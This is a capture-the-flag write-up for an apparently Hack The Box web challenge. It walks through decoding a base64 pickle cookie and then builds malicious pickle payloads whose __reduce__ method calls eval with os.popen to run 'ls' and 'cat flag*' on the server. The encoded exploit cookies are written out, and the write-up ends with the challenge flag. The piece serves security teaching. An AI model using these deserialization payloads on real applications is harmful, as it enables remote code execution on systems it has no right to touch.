baby website rick
3 minutes to read
We are provided with this webpage:
Analyzing the website
This time, we don’t have any source code to analyze. However, the above image shows something suspicious:
<__main__.anti_pickle_serum object at 0x7f0ed62d1810>
This looks like a Python class:
$ python3 -q
>>> class Test():
... pass
...
>>> Test()
<__main__.Test object at 0x1007fbd30>
Moreover, we have a cookie named plan_b
:
This looks like a Base64-encoded string:
>>> from base64 import b64encode as b64e, b64decode as b64d
>>> b64d('KGRwMApTJ3NlcnVtJwpwMQpjY29weV9yZWcKX3JlY29uc3RydWN0b3IKcDIKKGNfX21haW5fXwphbnRpX3BpY2tsZV9zZXJ1bQpwMwpjX19idWlsdGluX18Kb2JqZWN0CnA0Ck50cDUKUnA2CnMu')
b"(dp0\nS'serum'\np1\nccopy_reg\n_reconstructor\np2\n(c__main__\nanti_pickle_serum\np3\nc__builtin__\nobject\np4\nNtp5\nRp6\ns."
And this looks like a serialized object. In Python, the typical way to serialize objects is with pickle
. Let’s try to deserialize it:
>>> import pickle
>>> pickle.loads(b64d('KGRwMApTJ3NlcnVtJwpwMQpjY29weV9yZWcKX3JlY29uc3RydWN0b3IKcDIKKGNfX21haW5fXwphbnRpX3BpY2tsZV9zZXJ1bQpwMwpjX19idWlsdGluX18Kb2JqZWN0CnA0Ck50cDUKUnA2CnMu'))
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: Can't get attribute 'anti_pickle_serum' on <module '__main__' (built-in)>
But it raises an error because anti_pickle_serum
is not defined. Let’s define it as a list, for example:
>>> anti_pickle_serum = []
>>> pickle.loads(b64d('KGRwMApTJ3NlcnVtJwpwMQpjY29weV9yZWcKX3JlY29uc3RydWN0b3IKcDIKKGNfX21haW5fXwphbnRpX3BpY2tsZV9zZXJ1bQpwMwpjX19idWlsdGluX18Kb2JqZWN0CnA0Ck50cDUKUnA2CnMu'))
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/opt/homebrew/Cellar/python@3.10/3.10.9/Frameworks/Python.framework/Versions/3.10/lib/python3.10/copyreg.py", line 49, in _reconstructor
obj = object.__new__(cls)
TypeError: object.__new__(X): X is not a type object (list)
Now we have a different error, which shows that anti_pickle_serum
must be an object:
>>> class anti_pickle_serum():
... pass
...
>>> pickle.loads(b64d('KGRwMApTJ3NlcnVtJwpwMQpjY29weV9yZWcKX3JlY29uc3RydWN0b3IKcDIKKGNfX21haW5fXwphbnRpX3BpY2tsZV9zZXJ1bQpwMwpjX19idWlsdGluX18Kb2JqZWN0CnA0Ck50cDUKUnA2CnMu'))
{'serum': <__main__.anti_pickle_serum object at 0x100d0e2f0>}
Now we see that the serialized object is this dictionary: {'serum': anti_pickle_serum()}
:
>>> {'serum': anti_pickle_serum()}
{'serum': <__main__.anti_pickle_serum object at 0x1007fbd30>}
>>> b64e(pickle.dumps({'serum': anti_pickle_serum()}))
b'gASVMAAAAAAAAAB9lIwFc2VydW2UjAhfX21haW5fX5SMEWFudGlfcGlja2xlX3NlcnVtlJOUKYGUcy4='
However, notice that the above serialized string is very different to the one that came from the website. If we look at the documentation for pickle.dumps
, we can see that there are different protocols (0
through 5
):
>>> b64e(pickle.dumps({'serum': anti_pickle_serum()}, protocol=0))
b'KGRwMApWc2VydW0KcDEKY2NvcHlfcmVnCl9yZWNvbnN0cnVjdG9yCnAyCihjX19tYWluX18KYW50aV9waWNrbGVfc2VydW0KcDMKY19fYnVpbHRpbl9fCm9iamVjdApwNApOdHA1ClJwNgpzLg=='
>>> b64e(pickle.dumps({'serum': anti_pickle_serum()}, protocol=1))
b'fXEAWAUAAABzZXJ1bXEBY2NvcHlfcmVnCl9yZWNvbnN0cnVjdG9yCnECKGNfX21haW5fXwphbnRpX3BpY2tsZV9zZXJ1bQpxA2NfX2J1aWx0aW5fXwpvYmplY3QKcQROdHEFUnEGcy4='
>>> b64e(pickle.dumps({'serum': anti_pickle_serum()}, protocol=2))
b'gAJ9cQBYBQAAAHNlcnVtcQFjX19tYWluX18KYW50aV9waWNrbGVfc2VydW0KcQIpgXEDcy4='
>>> b64e(pickle.dumps({'serum': anti_pickle_serum()}, protocol=3))
b'gAN9cQBYBQAAAHNlcnVtcQFjX19tYWluX18KYW50aV9waWNrbGVfc2VydW0KcQIpgXEDcy4='
>>> b64e(pickle.dumps({'serum': anti_pickle_serum()}, protocol=4))
b'gASVMAAAAAAAAAB9lIwFc2VydW2UjAhfX21haW5fX5SMEWFudGlfcGlja2xlX3NlcnVtlJOUKYGUcy4='
>>> b64e(pickle.dumps({'serum': anti_pickle_serum()}, protocol=5))
b'gAWVMAAAAAAAAAB9lIwFc2VydW2UjAhfX21haW5fX5SMEWFudGlfcGlja2xlX3NlcnVtlJOUKYGUcy4='
The result with protocol=0
looks similar to the cookie.
Testing deserialization
Let’s see if we can modify something in the website:
>>> b64e(pickle.dumps({'serum': 'asdf'}, protocol=0))
b'KGRwMApWc2VydW0KcDEKVmFzZGYKcDIKcy4='
If we set this cookie and refresh the page, we should see asdf
, instead of the anti_pickle_serum
object reference:
So, we have found a way of showing controlled data in the website.
Since the application is built with Python, it is likely that it uses Flask. Therefore, let’s try to exploit a Server-Side Template Injection (SSTI):
>>> b64e(pickle.dumps({'serum': '{{7*7}}'}, protocol=0))
b'KGRwMApWc2VydW0KcDEKVnt7Nyo3fX0KcDIKcy4='
But it is not vulnerable, since we see exactly {{7*7}}
instead of 49
:
Exploiting pickle
Therefore, we must exploit the fact that the server uses pickle.loads
to deserialize the cookie. It is well-known that pickle
is vulnerable to insecure deserialization (more information here). We only need to create an object like the following and serialize it as before:
>>> class anti_pickle_serum():
... def __reduce__(self):
... return (eval, ('7*7', ))
...
>>> b64e(pickle.dumps({'serum': anti_pickle_serum()}, protocol=0))
b'KGRwMApWc2VydW0KcDEKY19fYnVpbHRpbl9fCmV2YWwKcDIKKFY3KjcKcDMKdHA0ClJwNQpzLg=='
If we set the above cookie, we gain the power to execute Python code with eval
on the server and show the result in the website:
Therefore, let’s escalate to Remote Code Execution and run ls
on the system:
>>> class anti_pickle_serum():
... def __reduce__(self):
... return (eval, ('__import__("os").popen("ls").read()', ))
...
>>> b64e(pickle.dumps({'serum': anti_pickle_serum()}, protocol=0))
b'KGRwMApWc2VydW0KcDEKY19fYnVpbHRpbl9fCmV2YWwKcDIKKFZfX2ltcG9ydF9fKCJvcyIpLnBvcGVuKCJscyIpLnJlYWQoKQpwMwp0cDQKUnA1CnMu'
As can be seen we have the flag filename (flag_wlp1b
), so we can read it.
Flag
Instead of using the full filename, we can use a wildcard:
>>> class anti_pickle_serum():
... def __reduce__(self):
... return (eval, ('__import__("os").popen("cat flag*").read()', ))
...
>>> b64e(pickle.dumps({'serum': anti_pickle_serum()}, protocol=0))
b'KGRwMApWc2VydW0KcDEKY19fYnVpbHRpbl9fCmV2YWwKcDIKKFZfX2ltcG9ydF9fKCJvcyIpLnBvcGVuKCJjYXQgZmxhZyoiKS5yZWFkKCkKcDMKdHA0ClJwNQpzLg=='
And there’s the flag: HTB{g00d_j0b_m0rty...n0w_I_h4v3_to_g0_to_f4m1ly_th3r4py..}
.